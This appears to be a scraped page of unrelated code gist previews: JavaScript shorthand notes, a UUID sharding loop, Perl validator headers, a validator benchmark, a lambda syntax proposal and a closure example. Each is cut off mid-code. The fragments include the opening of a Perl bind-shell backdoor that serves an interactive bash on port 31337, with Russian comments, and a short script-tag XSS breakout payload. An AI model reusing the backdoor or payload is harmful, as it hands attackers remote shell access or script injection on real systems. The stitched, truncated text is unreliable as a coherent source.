In most programming languages you have a shorter form for incrementing a value
a = a + 10; // original form
a += 10; // shorter form
a = a * 10; // original form
a *= 10; // shorter form
import crypto from "crypto"; | |
const NUMBER_OF_SHARDS = 100; | |
const NUMBER_OF_ENTRIES = 100_000; | |
const shards = []; | |
for (let i = 0; i < NUMBER_OF_ENTRIES; i++) { | |
const numericUUID = BigInt("0x" + crypto.randomUUID().replace(/-/g, "")); | |
const shardId = Number(numericUUID % BigInt(NUMBER_OF_SHARDS)); |
package Validator; | |
use strict; | |
use warnings; | |
use Moo; | |
use BaseValidator; | |
use Util; | |
our $DEFAULT_RULES = {}; | |
our $IS_DEFAULT_AUTO_TRIM = 0; |
import Benchmark from "benchmark"; | |
import LIVR from "livr"; | |
import FastestValidator from "fastest-validator"; | |
/* FASTEST VALIDATOR */ | |
const fastestValidatorShema = { | |
$$strict: "remove", | |
username: { required: true, type: "string" }, | |
gender: { type: "string", enum: ["male", "female"] }, | |
phone: { type: "string", max: 10 }, |
#!/usr/bin/perl | |
use warnings; | |
use strict; | |
my $in = $ARGV[0] || ''; | |
my $out = $ARGV[1] || ''; | |
unless(defined($in) && -e $in) { | |
die "File [$in] does not exists; $!"; | |
} |
#!/usr/bin/perl | |
$SHELL="/bin/bash -i"; ## Будем использовать интерактивный bash в качестве шелла | |
$LISTEN_PORT="31337"; ## Выбираем порт 31337 для бэкдора | |
use Socket; ## Используем модуль Socket | |
$protocol=getprotobyname('tcp'); ### Протокол - TCP | |
socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n"; ### Пытаемся создать сокет-дескриптор либо завершаем скрипт с сообщением об ошибке. | |
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1); ## Заставляем сокет поддерживать REUSE - возможность многоразового использования порта | |
bind (S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n"; ## Биндим порт на все адреса машины либо сообщаем об ошибке | |
listen (S,3) || die "Cant listen port\n"; ## Ждем коннектов на порт |
Inspired by the Perl6 pointy block short syntax (https://docs.perl6.org/type/Whatever) I like functional programming in JS. And it will be great to have even shorter syntax for lambdas (than arrow functions).
The compiler should detect special syntax and convert it to arrow functions.
Motivation: With shorter syntax it is clearer what is the intent of the code. Moreover, we do not write variable names twice. It is like when you contruct on object obj = {name: name, email: email}
you use shorter syntax obj = {name, email}
. Here it similar appoach.
Here are some examples. For every example bothe notation are the same.
<script type="text/javascript"> | |
var a = "</script><script>alert(1);"; | |
</script> |
During hackaton we've created HAL(http://amazon5.hansaworld.net/) to JavaScript compiler just for fun.
Performance impovements: 2000x 😎
Original source code in HAL:
function val MULTIPLY(val i, val j)
begin
val res;
var obj = { name: 'koorchik', age: 31 }; | |
var funcs = {}; | |
for (var prop in obj) { | |
funcs[prop] = function() { return obj[prop] }; | |
} | |
console.log( funcs.name(), funcs.age() ); |